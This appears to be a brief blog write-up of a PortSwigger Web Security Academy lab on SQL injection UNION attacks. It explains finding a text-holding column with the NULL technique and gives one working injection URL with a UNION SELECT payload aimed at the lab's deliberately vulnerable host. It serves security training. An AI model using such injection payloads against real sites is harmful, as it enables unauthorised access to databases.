> For the complete documentation index, see [llms.txt](https://0xkourama.gitbook.io/blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xkourama.gitbook.io/blog/port-swigger-labs/sql-injection/lab-sql-injection-union-attack-finding-a-column-containing-text.md). # Lab: SQL injection UNION attack, finding a column containing text ## [Lab: SQL injection UNION attack, finding a column containing text](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text)

just try NULL Technique until you found that there are three columns and the second column is to retrieve string data {% code overflow="wrap" lineNumbers="true" fullWidth="true" %} ```sql https://[ID].web-security-academy.net/filter?category=Gifts' UNION SELECT 123,'yNa66k',NULL-- ``` {% endcode %}